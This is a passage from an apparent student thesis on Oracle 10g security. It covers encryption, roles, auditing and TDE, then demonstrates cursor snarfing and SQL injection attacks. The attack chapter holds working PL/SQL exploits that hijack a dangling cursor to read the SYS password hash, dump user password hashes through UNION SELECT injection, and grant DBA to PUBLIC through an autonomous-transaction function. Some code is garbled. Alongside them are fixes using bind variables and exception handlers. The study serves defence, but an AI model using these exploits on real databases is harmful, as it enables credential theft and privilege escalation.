all data are prevented from accessing it sensibly as shown in the example below. This also prevents

hackers in possession of DBA privileges to access valuable data. This is also part of my project to

research on. Initially we have two tables, customer and orders, now a query is made to select all the

elements of the table Customer by the statement “select * from customer”.

Figure 31: An example of a database table to illustrate encryption

If the data is not encrypted we get a result presented below which is clear text which everyone can

read.



Figure 32: Performing a select on the database

If the data has been encrypted we get something as shown below.

Figure 33: Performing a select on the database

As shown above, if the hash table is kept safe, this can be a very good and effective method to

maintain security of passwords for authentication. In this method called safe key management, “The

Oracle customer is responsible for the entire key management” [Kornbrust A, 2004]. The user

decides where to keep the key safe; this may be handling it himself, storing it in the file system or

else keeping it in the database.

3.4.2 Privileges and roles Oracle offers privileges to its users. These are rights to execute a particular type of SQL statements

or to access another user’s object. These include session creation i.e. connecting to the database,

creating a table as well as executing another user’s stored procedure. Privileges are granted to

individuals as a necessity to accomplish important tasks. A Database Administrator has to be very

careful when assigning privileges as an excess of these to users unnecessarily can cause a security

flaw. Privileges may be granted to individual users for example John or they may also be bundled

together with others to produce a role and in turn this role is assigned to one or more users e.g.

managers. Because roles allow for easier and better management of privileges, you should normally

grant privileges to roles and not to specific users [Oracle (4), 2007]

At the creation of the database the accounts for SYS and SYSTEM are created and granted all

privileges pertaining to the database as well. SYS can then grant roles and privileges to other users

as well as the privilege to grant other users roles and privileges as well. Roles are meant to ease up

the administration of user systems as well as schema object privileges. Roles make it easy to

manage and assign privileges, rather than give out similar sets of privileges to users individually in



a group; we may assign a role to the group. This saves on time and makes the whole work of

monitoring these privileges a little bit easier. It also lightens the load when making changes to roles,

suppose we want to change some privileges given to a group of user for security reasons; it is now

easier since a change has to done on the roles to affect every user than making changes manually

and individually on each and everyone of the available users. Roles can also allow some privileges

to be passwordprotected. It makes it easier for an auditor to audit security breaches e.g. it narrow

down the search criteria if a privilege has been breached since it will be known who owns certain

privileges [Oracle(4), 2007]

Applications can be assigned for users to be able to perform certain application; these roles can also

be assigned to other users or roles. Assigning roles to roles might pose a security breach since it

becomes difficult to monitor how the roles link up together into a net. The Administrator

will not be able to trace out which specific roles were assigned to a user if the role to role network

becomes large .If not carefully monitored a user can have all the available privileges defined in the

linked roles to be able to control the database or even carry out malicious actions on it. These also

can be enabled or disabled, this too, I think can affect other users unnecessarily because if a role is

disabled the roles linked to it are blocked as well including those not intended to be blocked thus

negatively impacting the system. Roles and privileges in Oracle 10g can be granted using the

enterprise manager as well as the SQL statements, GRANT and REVOKE (for revoking). These

can be granted by anybody with the GRANT ANY ROLE system or anyone granted a role with

Administration Options [Oracle (4), 2007]

3.4.3. Auditing Auditing is the monitoring and recording of selected user database actions. It can be based on

individual actions, such as the type of SQL statement executed, or on combinations of factors that

can include user name, application, and time. Security policies can trigger auditing when specified

elements in an Oracle database are accessed or altered, including the contents within a specified

object [Oracle (6), 2007]. Auditing can also be defined as “an independent review and examination

of systems records and activities that test for the adequacy of system controls, ensure compliance

with established policy and operational procedures, and recommend any indicated changes in

controls, policy, and procedures” [ISS, 2007]. Auditing can also be use in Oracle to record failed or

successful attempts on the server. This is useful in being able to know who is attempting to logon to

the database, when an attacking is taking place as well as to know if an attack was successful

[Newman A(1), 2007].

Some more uses of auditing are listed below:



• Enable future accountability for current actions taken in a particular schema, table, or row, or

affecting specific content

• Deter users (or others) from inappropriate actions based on that accountability

• Investigate suspicious activity

• Notify an auditor that an unauthorized user is manipulating or deleting data and that the user has

more privileges than expected which can lead to reassessing user authorizations

• Monitor and gather data about specific database activities

• Detect problems with an authorization or access control implementation

[Oracle (6), 2007]

Without real time auditing, a database can not maintain confidentiality, data integrity and

availability which a very crucial to database security [Newman A (1), 2007].

Basically there are four types of audits rendered by Oracle. There is the statement auditing (this

enables the DBA to monitor all the SQL statements implemented on the database). This could be set

to monitor the actions of a certain user or group. Also this can be divided into two categories, the

DDL and the DML statements. The DDL statements include statements like Audit Table which

audits all Create and Drop Table statements. An example of a DML statement is Audit Select Table

which audits all select…from table as well as view statements.

The second type is called privilege auditing. This audits statements that use a system privilege, such

as SELECT ANY TABLE. For example, when AUDIT SELECT ANY TABLE is in force, all statements

issued by users with the SELECT ANY TABLE privilege are audited. This is more focused as

compared to statement auditing and can as well be set to monitor a single user a group. Privileged

auditing is triggered when a less privileged user tries to perform action statements that a re not

defined in his privilege space. When the clause table is defined in the audit it takes care of Create

table, Alter table as well as drop table. But if Create table instead is defined then the audit can only

audit create table [Oracle (6), 2007]

The third is Schema Object Auditing which enables the DBA to audit specific statements on a

particular schema object e.g. Audit Select On Employee. It audits the select statement and all DML

statements permitted by the schema objects privileges which include the delete statement on a given

table. It also audits the Grant and the Revoke statements which control the select/delete statements.

As can be seen this is a more specific audit and it applies to every user. The fourth one is Fine

Grained auditing which involves auditing at the most granular level, data access and actions based



on content, using any Boolean measure, such as value > 1,000,000. Enables auditing based on

access to or changes in a column.

However, auditing has some disadvantages if used excessively (Auditing every action on the

database is good but it has a negative effect on performance) because the constant writing of audits

can create a substantial bottleneck on the disk’s I/O on the server. Also since the auditing data can

be stored in SYS.AUD$, it ends up interacting with database data and sharing disk space which

might result in application downtimes. Above all there is no mechanism to prevent the DBA from

tempering with audit output in case an attacker gains SYS privileges [Newman A (1), 2007].

3.4.4. Data integrity Data integrity as defined by Wikipedia encyclopaedia is an act of ensuring that data is whole and

complete, it is the condition in which data is identically maintained during an operation such as a

transfer, storage or retrieval. Another aspect to this field is that data can only be accessed by

authorised individuals. Data integrity in a relational database is concerned with accuracy,

correctness and validity of data [Wikipedia (3), 2007]

In Oracle, data is encrypted to keep it safe. It uses a method called Transparent Data Encryption.

TDE is very useful for simple and easy encryption of sensitive data in table columns that the user

does not want anyone to see. The encryption and decryption of data is handled by the database

instead of users and applications. An external file named ewaalet.p12 is used to store the encryption

keys, this location, similar to auditing trail storage, can be in the Operating System or it can be

specified in the sqlnet.ora file.[Dewri A,2007] . Now imagine a case where by that whole drive of

data gets stolen with all people’s valuable information, the disk can easily be mounted on a similar

server with the same operating system and wiped out of data. Consider the case of a rogue DBA

who penetrates perimeter protection in the daily course of business and then downloads sensitive

customer information. This only shows that authentication is debatable. If not carefully monitored, a

DBA can be the most dangerous attacker since he controls all the database activities such as audits

that are meant monitored security on the database [Newman A (1), 2007, p4] Oracle compares this

security scheme, TDE as layers that a hacker has to go through in order to get access to data. First

the hacker has to by pass the firewall protecting the database then he has to deal with the

authentication and authorisation process of the data base. Although this far, the hacker cannot see

the data because it is encrypted, it does not make sense to a user who does not know the hash

functions [Oracle (7), 2007]. TDE is a valuable feature for organizations that need high security; it

supports encryption while putting the complexity of key management in the hands of the database



engine. This also is a good measure because even the DBA who monitors data does not get to see

the actual data he is managing, cutting down the risk to data [Dewri A, 2007].

It allows the user to encrypt a certain potion of the data so as to use a simple hashing function as

compared to encrypting the whole data (which is possible) at the expense of a complex and

unpleasant hashing function. This is simply done by declaring a column as encrypted. It works by

the TDE generating a key for a specific table and a master key that can be set at the database level.

The key for the table is encrypted with the master key, which is required to obtain the table key.

Consequently, the master key as well as the table key is required to decrypt encrypted data as shown

below [Oracle (6), 2007].

Figure 34: The master and the table key

Data that has been encrypted can only be viewed after decryption by authorised user. To use TDE,

user must have "alter system" privilege and a valid password for Oracle wallet.

3.4. ORACLE’S SOFTWARE SECURITY ASSURANCE. Security features which include access control, user authentication, data encryption, and audit

support have become important software buying criteria. A survey carried out shows that security is

the number one priority where new IT investment is planned [Heimann J, 2006]. This only shows

how valuable security is in the IT industry.

This depends on secure system designs implemented, development and support processes that

prevent the introduction of security flaws into system and limit damage caused. Heiman [Heiman J,

2006] defines security flaws as “errors on the software that allow unauthorised access to data or

system resources”. Intruders usually use these security flaws to their advantage, gaining access to

valuable information through privileged means. These allow invaders to bypass even the toughest

security measures that have been put across. Oracle defines a secure system as that which does not

only offer secure feature but also prevents security flaw which can be fatal to the system even if the

best security measures have been enforced. In the white paper by Heimann [Heimann J, 2006],

Oracle claims that their products contain some security assurance features that help prevent security



flaws. But contrast to this, Litchfield [Litchfield D (2), 2006] compiled a paper in November last

year entitled “Which database is more secure? Oracle vs. Microsoft” in which he shows in tabular

form the heights reached by Oracle’s flaws as compared to that portrayed by Microsoft SQL Server

2004 [David Litchfield (2), 2006].

The graphs are shown below.

Figure 35: Oracle vs. MS Server 2004

The graph simply shows that in the past two years Oracle has experience more security flaw as

compared to MS SQL Server 2004, this is in direct contrary to the claim made by Heimann

[Heimann J, 2006]. Oracle boasts of working with CIA for a long time protecting their confidential

data and that ever since customers have relied on Oracle to protect their sensitive and mission

critical data. But when one considers the security flaw Oracle has incurred, the fact of it being the

most trusted databases raises eyebrows. Oracle also claims to possess highly trained personnel who

ensure that products are developed with consistently high security assurance to avoid common

insecure coding practices by undergoing an intense coding training. Now, a company responds to

the discovery of a security flaw by offering a patch to rectify the issue. One may ask, If Oracle

programs so well why do we need a whole lot of patches to botch up the system. Further more,

Oracle has made claims that its production team makes use of lessons learned from continual

vulnerabilities testing and previous flaws assessment [Heimann J, 2007]. Independent researcher,

Litchfield [Litchfield D (2),2006], claims in his paper that the reason why Oracle suffers the most

security flaws as compared to MS Server 2004 is that they do not practice Security Development

Lifecycle, (SDL) which involves learning from previous flaws to solve the current. He agues further

that the other reason is that Oracle does not understand the problem they are trying to solve which is

evident from his research results. There also has been news about customers complaining about the

amount of patches they have to install, recently Oracle patched 82 critical flaws

[SearchSecurity.com, 2007]. Oracle further claims its team undergoes the basic training and that



their products are thoroughly tested by multiple development teams to assure consistency in product

before dispatch. Heimann [Heimann J, 2006] states that they take their products for external

inspection by independent bodies e.g. the US government. Despite all this technical support Oracle

has on its products, research has it that their product seem to experience the same problem over and

over. With all this information stated above, I am going to look at and test the security features

offered by Oracle and above all where possible try to come up with solutions to the problems.

3.5. SUMMARY The above sections gave a good portion of the security features that Oracle can offer. It also gave

the views of customers and researcher about what they think about the security of Oracle. Database

security is very crucial to the safety of a user’s personal data which includes credit card numbers,

bank details as well as medical details. Identity thieves target these for personal gains. These may

be to commit crime, to hide away one’s identity from past experience or maybe to sell to illegal

immigrants who want to seek employment in a particular country. Firewalls on their own are not

capable to protect the database from all the malicious activities done by attackers. The fact that they

are in the layer 3 of the OSI model means that they can protect against any intruder activity that is

in layer 3 and below. For example, SQL injection occurs in the application layer, which is layer 4,

so it can never be blocked by a firewall. Also to show that firewall security is not enough, intruders

are now using certain phrases in search engines to bypass them and perform their hacking straight

on the database thus cutting on the time and effort needed in their hacking practise.

Databases are safe if they were to remain isolated and not be harnessed onto the Internet. The need

for ecommerce drove databases to be included on the Internet but this good cause has brought

about serious security breaches that Database administrators have to fight against. Besides external

hacking, the major threat to data has been discovered to be within an organisation, especially

individuals who have full access to database resources as well as full control of all its activities. A

proper database that is concerned about user data security has to offer protection against malicious

external and internal attackers of the database.

Oracle in its 2004 release of the Oracle 10g Database, released more than one version of the

database. The five versions are Standard Edition, Standard Edition One, Express Edition, Personal

Edition and Enterprise Edition. The database used for my project is the Enterprise Edition because

of its security features which are better than that of the rest, in fact it is said to contain all the feature

possessed by all the other versions and can enable a user to add onto the already available security

features using security packs. It also contains a function called Transparent Data Encryption that

protects the data in case a data disk is lost. This it does by use of a master and a table key.



When a cursor is used in a procedure it has to be closed to protect the database. A new security flaw

has been discovered in Oracle where by a low privileged user gains access to a closed cursor which

he uses to attack a database gaining the SYS password which in turn enables him to abuse the

database as much as he likes.

Oracle offers different form of security which include authentication which is making sure that

users are who they claim to be. Another feature is called privileges and roles which monitor “who

does what.” Roles are a bundle of privileges that are given to an individual or a group so that it

becomes easier to monitor, assign or suspend rights that have been issued out. Auditing helps the

security officer to monitor all the actions that are executed on the database; this includes failed and

successful attempts to log on to a database. It helps to detect any activities performed by an attacker

by keeping a record of desired actions performed. Data integrity is meant to enforce that data is

maintained in the desired state, it guides against illegal access, alterations or extraction of data by

intruders. It helps keep data constant. It also includes the process of Transparent Data Encryption

which is described above. Software assurance describes the stages and efforts that are taken by a

software developer to make sure that the software is of the highest quality.



Chapter 4

4. EXPLOITS AND PROTECTING AGAINST THEM

4.1 CURSOR SNARFING David Litchfield of the NGS Company discovered a flaw in the Oracle Application Database called

Cursor Snarfing in November 2006. This is caused by a failure to close cursors created and used by

high privileged users implementing the DBMS_SQL package or a failure to clean up open cursors

which in the event of an exception can lead to a security hole. If the cursor is created by a high

privileged code and left hanging (or made to hang) then a low privileged user can snarf (grab) and

use the same cursor outside its application domain that created it and maliciously gain access to data

that is restricted to them. The hacking code is Dynamic SQL on PL/SQL (similarly MS Server 2004

uses TSQL) which is Oracle’s primary language for programming stored procedures. Stored

procedures are programs that live and run inside the database server. They are loaded once into the

database and cut on time required to reload them again when they need to be used again. I have

implemented the code shown in Listings 41 (part of it)below and proved it to be true, Oracle

indeed has a security hole in case of unattended dangling cursors created by high privileged code.

4.1.1 Analysis of the code

CONNECT / AS SYSDBA

SETSERVEROUT ON

CREATE OR REPLACE PROCEDURE PWD_COMPARE (P_USER VARCHAR) IS

…………………………………………………………………………

IF P_USER! = 'SYS' THEN

CURSOR_NAME:= DBMS_SQL.OPEN_CURSOR;

DBMS_OUTPUT.PUT_LINE ('CURSOR: ' || CURSOR_NAME);

DBMS_SQL.PARSE (CURSOR_NAME,

'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME =: U’,

DBMS_SQL.NATIVE);

DBMS_SQL.BIND_VARIABLE (CURSOR_NAME, ': U’, P_USER);

…………………………………………………………………………

IF V_PWD = '0123346789ABCDEF' THEN

DBMS_OUTPUT.PUT_LINE ('HMMM....');

END IF;

DBMS_SQL.CLOSE_CURSOR (CURSOR_NAME); END IF;

Listings 41: Password Compare Procedure



The full code is obtainable in Appendix 1 on page 110. Basically, the code harvests all the nonSYS

passwords from the table SYS.DBA_USERS and compares each of them to a single password

provided in the code.

A cursor is an integer value that acts as a pointer to a special area of memory where Oracle keeps

track of items related to the cursor such as a query, its variables and permission. Once a cursor has

been opened it stays alive until it is closed. A close study of the code above reveals that it has no

method of dealing with error (no exception handling). The problem is that if an exception is created

before the closure of the cursor, it leaves the cursor hanging. This can be easily snarfed by a hacker.

To demonstrate Cursor Snarfing, log into Oracle as a low privileged user and run the following

code to create an exception. In my case I logged in as HR.

HR is a low privileged user compared to SYS and he executes the procedure PWD_COMPARE

making sure he generates an exception during execution: SET SERVEROUTPUT ON

SQL> DECLARE

X VARCHAR (32000);

I INTEGER;

BEGIN

FOR I IN 1... 10000

LOOP

X: = 'B' || X;

END LOOP;the size of X is now varchar2(10000)

SYS.PWD_COMPARE(X);

END;

/

Listings 42: Using the Password Compare Function

This creates an exception because of the conversion required on the value of X to be passed on to

SYS.DBMS_COMPARE(X).This is because X is declared to be a variable of size 32000 while the

procedure PWD_COMPARE takes in a varchar value of size 30 characters. The size of the input

causes an exception because it is too big to be handled by the procedure. Thus an error is generated

as shown below. This error is very useful to the attacker as it gives him the value of the cursor that

just hung. The snapshot of the response from Oracle is shown in Figure 4.1 below.



Figure 41: The error messaging showing the cursor number

The attacker gets information that the cursor value is 1. It also shows the attacker that the user who

created the cursor in the procedure is ‘SYS’. Armed with this piece of information the attacker can

rebind the username associated with the snarfed cursor, which is SYS, then reexecute the query

and extract the password hash for the SYS account bypassing the logic in the procedure

PWD_COMPARE. DECLARE

CURSOR_NAME INTEGER;

I INTEGER;

PWD VARCHAR2 (30);

BEGIN

CURSOR_NAME:= 1; cursor value now known

The value of u is now replace directly by SYS

DBMS_SQL.BIND_VARIABLE (CURSOR_NAME, ': U’, 'SYS');

Create a column called password to store query.

DBMS_SQL.DEFINE_COLUMN (CURSOR_NAME, 1, PWD, 30);

I: = DBMS_SQL.EXECUTE (CURSOR_NAME); Execute the SQL statements.

The FETCH command returns a record from the query, so the system checks

if there is anything returned.

IF DBMS_SQL.FETCH_ROWS (CURSOR_NAME) > 0 THEN

If there is a record, return the password and place it in the already

defined

Column V_PWD. This also shows that there is only one field of output.

DBMS_SQL.COLUMN_VALUE (CURSOR_NAME, 1, PWD);

END IF;

DBMS_SQL.CLOSE_CURSOR (CURSOR_NAME); close the cursor

DBMS_OUTPUT.PUT_LINE ('PWD: ' || PWD); print out the SYS password

END;

Listings 43: Carrying out the flaw



The output of the command is as shown below, the expected password is D28AC4BA64CB0F88

Figure 42: A snapshot of Cursor Snarfing

Now the attacker HR has obtained the SYS password. In short, an attacker looks for PL/SQL code

that does not take care of exceptions (vulnerable to cursor snarfing). Then he forces an exception so

that the cursor will not close and be left dangling. Then he searches for the orphaned cursor by

generating an error. Now, the attacker can alter the code to serve his needs. Without causing an

exception the system will never allow a low privileged user to supply the PWD_COMPARE

procedure a parameter ‘SYS’ and also it will never let an attacker view the password, but with an

access to a cursor all this can be easily violated.

The class of the flaw can be implemented on cases where higher privileged code is using the

DBMS_SQL package to insert, update and delete; moreover allowing the user input of a specific

format, it then may be possible for an attacker to bypass regulations. For example if say a user is not

allowed to input data with single quotes and there is high privileged code that checks for this then

suppose the attacker manages to cause an exception as shown above. It is then plausible to harness

the cursor so that it allows the user to insert a single quote in the input data which may lead to SQL

Injection. In this way, cursor snarfing can violate the integrity of Oracle data despite the claim by

Oracle to having an excellent data integrity scheme.

The only thing that is restrictive to the attacker is that he can not add his own queries since these

will execute in through his own low privileged right. So this type of attack allows his to manoeuvre

around the already defined query, he can not in this case decide to grant himself roles and

privileges. The SYS password obtained is not that much of use to an attacker but there are tools that

can be used to obtain clear text passwords from the user name and its corresponding password hash

for example Orabf and rainbow Oracle password breakers can be used.

4.1.2 Counteracting on the attack vector. The most effective way to avoid attacks of this nature is to make sure that input data from users is

validated. Database user must always be suspects because anyone is a possible attacker if the

system permits. In the case shown above, there should be code that validates that input is of the

requited type and size. The system must not allow users to input unreasonable data inputs. The other

measure that can be taken is to have code that handles exceptions. The most suitable is the

‘OTHER’ type of exception that handles all exceptions Notice in the code that the exception



handler is inserted in the right place, just after the attacker executes the SQL statement that is

contained in the cursor. …………………………………….

…………………………………….

BEGIN

DBMS_SQL.BIND_VARIABLE (CURSOR_NAME, ': U’, P_USER);

DBMS_SQL.DEFINE_COLUMN (CURSOR_NAME, 1, V_PWD, 30);

I: = DBMS_SQL.EXECUTE (CURSOR_NAME);

EXCEPTION

WHEN OTHERS THEN

IF DBMS_SQL.IS_OPEN (CURSOR_NAME) THEN

DBMS_SQL.CLOSE_CURSOR (CURSOR_NAME);

END IF;

END;

……………………………………..

……………………………………..

Listings 44: Handling the exception

The output of the code with the exception handling is shown below.

Figure 43: The results from using an Exception Handle

The attacker gets the Cursor value and when he tries to use it he finds out that it is already closed.

This shows the strength of having exceptions in code.

4.2 SQL INJECTION

4.2.1 A briefing on SQL Injection This is a method used to launch attacks on procedures, functions, triggers and types. Usersupplied

input to an application is embedded directly into a dynamic SQL query to be executed. But because



this input is controlled by a user it is then possible for a user to feed in additional SQL queries to be

run without proper privileges. Consider the code extract shown below.

………………………………… P_query is a declared varchar2 that holds the query to be run

P_query: = ‘select districts from province where governor = ‘‘‘|| userinput

||’’’’;

Execute immediate p_query;

…………………………………… Listings 45: An Example of injectable code

Suppose the user inputs Gorge as the governor the complete query would be: SELECT DISTRICTS FROM PROVINCE WHERE GOVERNOR = ‘Gorge’.

But what if the user decides to put O’Hare; Oracle will issue out an error that the query was not

properly terminated since the user input will appear as ‘O’Hare’. This is proof that by inserting a

single quote a user can deceive Oracle into executing a different query from the one expected.

Suppose this time the user decides to input: Gorge ‘’ union select password from Dba_users where ‘‘a’’ = ‘‘a

(Notice the two single quotes this breaks us out of the predefined string and then we tack our

UNION SELECT statement onto the end)

This will result in a query like; Select districts from province where governor = ‘Gorge’ union select password

from Dba_users where ‘a’ = ‘a’

It all lies in the skill of balancing the single quotes in the query. But instead of the carefulness

required to balance out the quotes, “” can be used as well; this will comments out all the bits after

it.

To avoid this sort of attack, the code could have been simply stated as below using the bind

variable.

……….. P_query: = ‘select districts from province where governor =:1’

Execute Immediate P_query using userinput;

…………… Listings 46: Protecting against SQL Injection

In this case ‘1’ is a bind variable, meaning that the input is bound by the bind variable until after

the query has been compiled. Simply, this further means that even if the input is supplied with

quotes it does not affect a thing; it will be already too late.



Consider another example of SQL injection. Suppose, normal users are entitled to viewing

information that is of a certain value as shown below.

………. P_query: = ‘select salary from ‘|| userinput ||’ where SALARYID <300’;

Execute Immediate P_query;

……….. Listings 47: Another example of SQL Injection

A malicious user can input the query ‘SALARIES where SALARYID > 300 ‘

The appended “” will simply comment out the hard coded “SALARYID <300”. This is how an

attacker can deceive Oracle through SQL Injection.

4.2.2 An Example of SQL Injection

The first thing is to log in a SYS and create a procedure called GET_OWNER which basically takes

in any object name (be it a table or a procedure/function created by any user in the database

instance) from the all_object table in the SYS account and returns the owner of the selected object.

Then I granted the execute privilege on the procedure to public meaning that it is accessible by any

database user in this instance. CONNECT / AS SYSDBA

CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS

TYPE C_TYPE IS REF CURSOR;

CV C_TYPE;

BUFFER VARCHAR2 (200);

BEGIN

DBMS_OUTPUT.ENABLE (1000000);

OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME =

''' || P_OBJNM ||'''';

LOOP

FETCH CV INTO BUFFER;

DBMS_OUTPUT.PUT_LINE (BUFFER);

EXIT WHEN CV%NOTFOUND;

END LOOP;

CLOSE CV;

END;

/

GRANT EXECUTE ON GET_OWNER TO PUBLIC;

Listings 48: The procedure gets the owner of the any supplied object



The commented version of the code in Listings 48 is found on the Appendix 2 on page 111.This

procedure is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a SELECT

query which can be executed by anyone in the database instance. The attacker is limited in terms of

what they could do when it comes to exploiting the flaw. One thing the attacker could do is perform

a UNION SELECT that would allow him to execute the GET_OWNER stored procedure together

with the SQL commands to gain DBA privileges to gain access to arbitrary data: CONNECT HR/HR

SQL> SET SERVEROUTPUT ON

// this allows the user to view any input

SQL> EXEC SYS.GET_OWNER ('AAAA'' UNION SELECT LOWER (USERNAME) || ‘‘

‘‘|| PASSWORD FROM SYS.DBA_USERS ');

Listings 49: Execute the SQL Injection

Basically the flaw allows the attacker to specify one field in his union select statement. But the

attacker can concatenate the password and the username into one string. My demonstration is

shown in the snapshot below.

Notice the ‘—‘at the end of the command, this comments out what ever follows. Also take note of

the ‘’ in the user input, this breaks away the UNION SELECT from the username supplied.

Figure 44: A list of usernames and passwords obtained from SQL Injection

A complete view of this snapshot is provided in Appendix 3 on page 112. The attacker can not

simply inject a "GRANT DBA TO PUBLIC" or an "INSERT something into some table" statement

after the application defined SELECT statement. In order to achieve this, they would need to wrap

their arbitrary SQL in a function and inject this:

A function is declared like the one I declared in Listing 410 and then used in the SQL Injection to

grant all the users the DBA role. It uses a “PRAGMA AUTONOMOUS_TRANSACTION”. A pragma is

a compiler directive executed at compile time rather than at run time and is used to pass valuable

data to the compiler about the process being executed. An AUTONOMOUS_TRANSACTION is a

SQL pragma that tells the compiler to suspend the main transaction and start an independent

subprogram. The subprogram can log events and execute the select, create, commit, or roll back



SQL operations, and then resume the main transaction. It shares no locks or resources with the main

transaction. SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR

create this function that assigns DBA to public in Scott. The command below

Shows that the program executes with privileges of who ever is using it.

1 AUTHID CURRENT_USER IS

2 PRAGMA AUTONOMOUS_TRANSACTION;

This makes a fork and join process between the main procedure and the

Subprocedure

The parent process is halted while the child process executes, it can only

resume execution when the child process (subprocess) dies.

3 BEGIN

gives a command to immediately execute the new procedure

3 EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';

informs the user if the function was successful, can be used as a tracker

4 RETURN 'GOT_DBA_PRIVS';

6 END;

7 /

Function created. Listings 410: Procedure grants DBA to public (code by Litchfield D and comments by Okelitsi Nyathi)

For the following demonstration the attacker is taken to be the user Scott. Logged as user Scott I run

the command “Select * from User_role_privs” to see the types of roles assigned to Scott. The

result is shown below in Figure 45 below.

Figure 45: Privileges belonging to Scott

Before passing the SQL injection we see that the user Scott only has two roles, connect and

resource. Now, we carry out the injection using the function stated above.

Now user uses the GET_OWNER procedure from SYS but concatenates it with the

New function GET_DBA from Scott executing it with SYS privileges. He can’t

use union because this is not a select SQL/command

SQL> EXEC SYS.GET_OWNER ('AAAA''||SCOTT.GET_DBA');

PL/SQL procedure successfully completed.

Listings 411: Execute SCOTT.GET_DBA as SQL Injection



The code in Listings 411 allow the user Scott to set himself to have the DBA role by running the

command shown below. The SQL Injection is performed successfully as shown below in Fig 46 as

well. giving self the granted DBA role

SQL> SET ROLE DBA;

Figure 46: The role has been successfully set

Now let’s check for the authenticity of this claim. The command which shows the roles given to

user is run again as shown. The command is: “Select * from user_role_privs”. Note that we

now have an extra role DBA that the attacker Scott has assigned himself.

Figure 47: The new roles assigned to Scott

To revoke DBA role from public, Grant the DBA role to everyone and then revoke it by the

command: REVOKE DBA FROM PUBLIC; otherwise you get an error: ORA 01941: ROLE ‘DBA’ not granted to ‘SCOTT’.

Another method to launch the attack is to prime the function. What follows is a description of the

new method: it is a simple multistage and it has been discovered to work on all versions of Oracle

and can be exploited by an attacker to run any malicious queries that grant attackers privileges.

Basically, all an attacker needs do to execute arbitrary SQL is to open a cursor and parse the SQL

and then inject the DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object:

The SQL code as stored as Cursorinj.sql in the SSl server. SQL> SET SERVEROUTPUT ON

SQL> DECLARE

2 MY_CURSOR NUMBER;

3 RESULT NUMBER;

3 BEGIN

4 MY_CURSOR:= DBMS_SQL.OPEN_CURSOR;

instead of parsing a select command the attacker declares an

autonomous_transaction to grant the DBA role to public. The commit command

saves all changes permanently

6 DBMS_SQL.PARSE (MY_CURSOR,'declare pragma autonomous_transaction;

Begin execute immediate ''grant DBA to public''; commit; end;’, 0);

7 DBMS_OUTPUT.PUT_LINE ('Cursor value is:' || MY_CURSOR);

8 END;



9 /

Cursor value is: 6


Listings 412: Grant DBA to public using autonomous_transaction (code by Litchfield D and comments by Okelitsi Nyathi)

The DBMS_SQL.EXECUTE function returns a number so we use the CHR function to

convert the number to a character, which can then be concatenated.

This was actually tested on the Server and the result is shown below.

Figure 48: Another method of granting DBA

An attacker can also insert his account into the SYS.SYSAUTH$, a table of users who have the

SYS authentication. Unlike the previous methods used, this will grant him privileges and roles in

the system that will allow him to perform actions on the database without alerting an intrusion

detection/prevention. This was done successfully by researcher David Litchfield but when I tried to

implement a similar code I got an error as shown in the section below. Code might have been added

to monitor data that is inserted into the table which includes some restrictions.

4.2.3 Adding user to the SYS.SYSAUTH$ table Logged in as “SYS” I created a user called CSESS and as shown by the Listings 413 below, he has

no roles assigned to him and has only one privilege, the create privilege. SQL> CONNECT / AS SYSDBA

Connected

SQL> CREATE USER CSESS IDENTIFIED BY KELETSO;

User created.

//grant him the create privilege only

SQL> GRANT CREATE SESSION TO CSESS;

Grant succeeded.

Listings 413: Create new user CSESS

I then looged in as Csess and ran the command “Select * from user_role_privs” which

shows that the user CSESS has no database roles assigned to him. SQL> CONNECT CSESS/PASSWORD

Connected

make sure that he only has the create privilege only

SQL> SELECT PRIVILEGE FROM SESSION_PRIVS;



a created user can not log in without the create privilege

PRIVILEGE

CREATE SESSION

SQL> SET SERVEROUTPUT ON

SQL> DECLARE

2 MY_CURSOR NUMBER;

3 RESULT NUMBER;

3 BEGIN

4 MY_CURSOR:= DBMS_SQL.OPEN_CURSOR;

6 DBMS_SQL.PARSE (MY_CURSOR,'declare pragma autonomous_transaction;

this either creates a function CSESS_func or replaces it if it exists

it allows whoever the invoker is to use it in their contexts regardless of who

created it, it will allow the current user to use his privileges fully

Begin execute immediate ''create or replace function CSESS_func (p

varchar2) return number authid current_user is begin execute immediate

p; return 1; end;''; commit; end;',0);

7 DBMS_OUTPUT.PUT_LINE ('Cursor value is:' || MY_CURSOR);

8 END;

9 /

Cursor value is: 8

PL/SQL procedure successfully completed

Listings 414: User is not allowed to create table but he manages to do so

The user CSESS is not privileged to create a function, I tried to create a function and obtained an

errors shown below: ORA01031: insufficient privileges

Masquerading as an attacker (Csess), I embedded the code to create a function within a procedure

and Oracle created it for me (How strange!!). The proof of this is shown below in Figure 49.

Though the database detected that the user (I) does not have sufficient privileges to create a function

but it let me do so. Detecting is not good enough but prevention is. SQL> EXEC SYS.GET_OWNER ('AAAA''||CHR (DBMS_SQL.EXECUTE (8))');


Now to check if the function was created;

Figure 49: Table successfully created by unauthorised user



This is proof that the function was created since it can be used. Trying to set user CSESS’s the

DBA role gave me an error message. SQL> SET ROLE DBA;

SET ROLE DBA

*

ERROR at line 1:

ORA01923: role 'DBA' not granted or does not exist

Now injecting the auotonomous_transaction into the function CSESS.CSESS_FUNC failed to work

on Release 2 as speculated by David Litchfield. He claims that it works for Release 1. The results

that he got are shown in Appendix 4 on page 113 at the back of the book.

When I ran similar code as user Csess I got a similar error as shown above but then, I could not set

the role DBA as Litchfield claims. I believe that Oracle added code that validates inserted data into

the named table. It seems there is a code validator that disallowed users to add themselves onto the

SYS.SYSAUTH$ table but unfortunately, there happened to be a bug in the code. This is because it

gave an error message signifying that it detected the problem but the flaw proceeded as a backyard

implementation, to grant the requests of the user. The results that I got from attempting to add my

name to the table is shown below but unfortunately Csess could not get the DBA assigned to me.

Figure 410: Error message when trying to insert name to SYS.SYSAUTH$

Logged in as Csess, when I tried to grant myself the DBA role, I got an error message shown above.

According to David, this must work.

Figure 411: User could not grant DBA, detected by Oracle

But if the bug has been fixed a question can then be posed about the system, why does it allow low

privileged users to perform restricted tasks? Specifically, why does it allow a user with no right to

create a function to do so by imbedding his code in a procedure? The current user managed to

perform a task that by right he is not supposed to be able to.



Let’s look at the flaw again; I found that it has not been thoroughly solved. If the code below is run

which grants DBA role rather than add a user to the table Sysauth$, we find out that DBA is granted

